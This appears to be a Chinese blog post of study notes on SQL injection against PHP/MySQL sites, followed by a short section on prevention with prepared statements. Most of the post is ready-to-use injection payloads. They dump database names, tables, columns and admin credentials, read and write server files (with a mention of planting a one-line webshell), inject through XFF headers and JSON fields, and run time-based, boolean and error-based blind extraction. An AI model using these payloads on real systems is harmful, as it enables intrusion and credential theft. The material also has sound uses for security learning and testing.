php之sql注入

mysql注入:

mysql里面有内置的管理员用户,其中root就是默认数据库管理员用户

1.数据库统一管理(root用户)

mysql

        root

                root(默认自带)

                        网站A (testA)

                        网站B (testB)

2.数据库一对一管理(不同用户)

mysql

        testA用户

                网站A testA

        testB用户

                网站B testB

root用户:先测试读写,后获取数据(直接上传一句话木马)

非root用户:直接测试获取数据

SQL常规查询

1、数据库版本-看是否符合information_schema查询-version()

2、数据库用户符合ROOT型注入攻击-user()

3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os

4、数据库名字-为后期猜解指定数据库下的表、列做准备-database()

MYSQL5.0以上版本:自带的数据库名information_schema

information_schema        数据库里面所有的信息

information_schema.schemata        所有的数据库名

information_schema.tables        所有的数据表

information_schema.columns        所有数据列

schema_name:information_schema.schemata记录数据库名信息的列名值

table_schema:information_schema.tables记录数据库名的列名值

table_name:information_schema.tables记录表名的列名值

column_name:information_schema.columns记录列名的列名值

有回显,常见的注入测试

order by 6 先找到有多少个长度
union select 1,2,3,database(),user(),6 直接爆出数据库和用户权限
union select 1,2,3,version(),@@version_compile_os,6 版本和操作系统
union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='demo01' 直接利用information_schema.tables爆出所有的表,group_concat是所有的,不加只能爆一个
union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name='admin' 用informaation_schema.columns爆出所有的列,然后后面再限定一个表
union select 1,2,3,username,password,6 from admin limit 0,1 爆出表为admin,列名为username,password的值

跨库查询

通过A网站的注入点直接拿到B网站的信息,但前提是需要root权限

获取所有的数据库union select 1,2,3,4,group_concat(schema_name),6 from information_schema.schemata 
获取zblog的所有的表union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='zblog'
获取表为zbp_member的所有列union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name='zbp_member' and table_schema='zblog'
只有最后一步,zblog.zbp_member表示一个上下级关系union select 1,2,3,mem_Name,mem_Password,6 from zblog.zbp_member

文件读写

影响条件:当前数据库用户权限 secure-file-priv设置

union select 1,load_file('d:\\t.txt'),3,4,5,6
union select 1,'xiaodi',3,4,5,6 into outfile 'd:\\2.txt'

读写的路径问题:

1、报错显示获取路径

2、phpinfo页面泄露

如果单引号被限制了,可以使用16进制(sql注入中,编码就不用单引号,路径、表名、数据库等)

sql数据请求类型

因为黑盒测试中,不清楚带入的数据是怎样的,所以只能挨个挨个测试

数字型
select * from news where id=$id;
字符型
select * from news where id='$id'
搜索型
select * from news where id like '%$id%'
框架型
select * from news where id=('$id');
select * from news where (id='$id');

数据请求方法

全局变量方法:GET POST SERVER FILES HTTP头等

get、post、server是直接带进去测试,是一种很常规的注入方法。

X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP]).

直接在数据包中加xxf,然后后面修改ip或者注入代码。

用户登录时就是利用post注入。

注入语句最后跟--+和#,这两个都可以相互替换试着来

数据请求格式,有些时候是base64加密,有些时候json加密,base64需要直接进行转换,json是用bp抓包后进行更改,直接在值上面。原来是

{"username":"admin"}改为{"username":"admin' union select 1,database(),version(),4#"}

增删改查

1.功能:查询
SELECT * FROM news where id=$id
2.功能 :新增用户,添加新闻等
INSERT INTO news (字段名) VALUES (数据)
3.功能:删除用户,删除新闻等
DELETE FROM news WHERE id=$id
4.功能:修改用户,修改文章
UPDATE new SET id=$id

盲注:盲注就是注入过程中,获取的数据不能回显至前端页面

延时盲注,如果条件成立,延时5秒,不成立延时0秒
if(条件,sleep(5),sleep(0))
布尔盲注:有数据输出判断标准
报错注入:必须要有容错处理才行
延迟:
and sleep(1);
and if(1>2,sleep(1),0);
and if(1<2,sleep(1),0);
布尔:
and length(database())=7;
and left(database(),1)='p';
and left(database(),2)='pi';
and substr(database(),1,1)='p';
and substr(database(),2,1)='i';
and ord(left(database(),1))=112;
报错:
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
更多:https://www.jianshu.com/p/bc35f8dd4f7c
参考:
like 'ro%'            #判断ro或ro...是否成立 
regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等
if(条件,5,0)          #条件成立 返回5 反之 返回0
sleep(5)              #SQL语句延时执行5秒
mid(a,b,c)            #从位置b开始,截取a字符串的c位
substr(a,b,c)         #从位置b开始,截取字符串a的c长度
left(database(),1),database() #left(a,b)从左侧截取a的前b位
length(database())=8  #判断数据库database()名的长度
ord=ascii ascii(x)=97 #判断x的ascii码是否等于97

二次注入、堆叠注入、外带注入

#实战中一般发现不了二次注入,除非用白盒审计。堆叠注入,一般出现在ctf中,外带注入忽略不计

 一般出现在用户注册登录修改密码,个人简历功能

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
为了防止 SQL 注入攻击,PHP 提供了一些安全措施和最佳实践。下面是一些常见的方法: 1. 使用预处理语句(Prepared Statements):预处理语句是使用占位符来代替用户输入,然后将输入参数与 SQL 查询分离。这样可以防止恶意用户通过输入特殊字符来改变 SQL 查询的结构。使用 PDO 或者 MySQLi 扩展库提供的预处理语句功能可以有效防止 SQL 注入。 示例代码(使用 PDO 扩展库): ```php $stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username"); $stmt->bindParam(':username', $username); $stmt->execute(); ``` 2. 使用参数化查询:参数化查询是指在 SQL 查询中使用参数的方式,而不是直接将用户输入拼接到查询语句中。这样可以确保用户输入被正确地转义和处理,从而防止 SQL 注入。 示例代码(使用 PDO 扩展库): ```php $stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?"); $stmt->execute([$username]); ``` 3. 输入验证和过滤:对用户输入进行验证和过滤,以确保输入符合预期的格式和类型。可以使用过滤器函数(如 filter_var)或自定义验证函数来验证输入数据的合法性。同时,对于需要存储到数据库的数据,应该使用适当的转义函数(如 mysqli_real_escape_string)对特殊字符进行转义。 示例代码: ```php $username = filter_var($_POST['username'], FILTER_SANITIZE_STRING); $password = mysqli_real_escape_string($conn, $_POST['password']); ``` 4. 使用安全的数据库连接:确保使用安全的数据库连接方式,如使用 PDO 或者 MySQLi 扩展库,并配置正确的连接参数。避免使用不安全的连接方式,如使用不可靠的连接库或者直接拼接用户输入的字符串作为连接参数。 需要注意的是,以上方法仅仅是防止 SQL 注入的基本措施,对于复杂的应用程序还需要综合考虑其他安全性措施,并定期更新和维护应用程序以防止新的安全漏洞。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值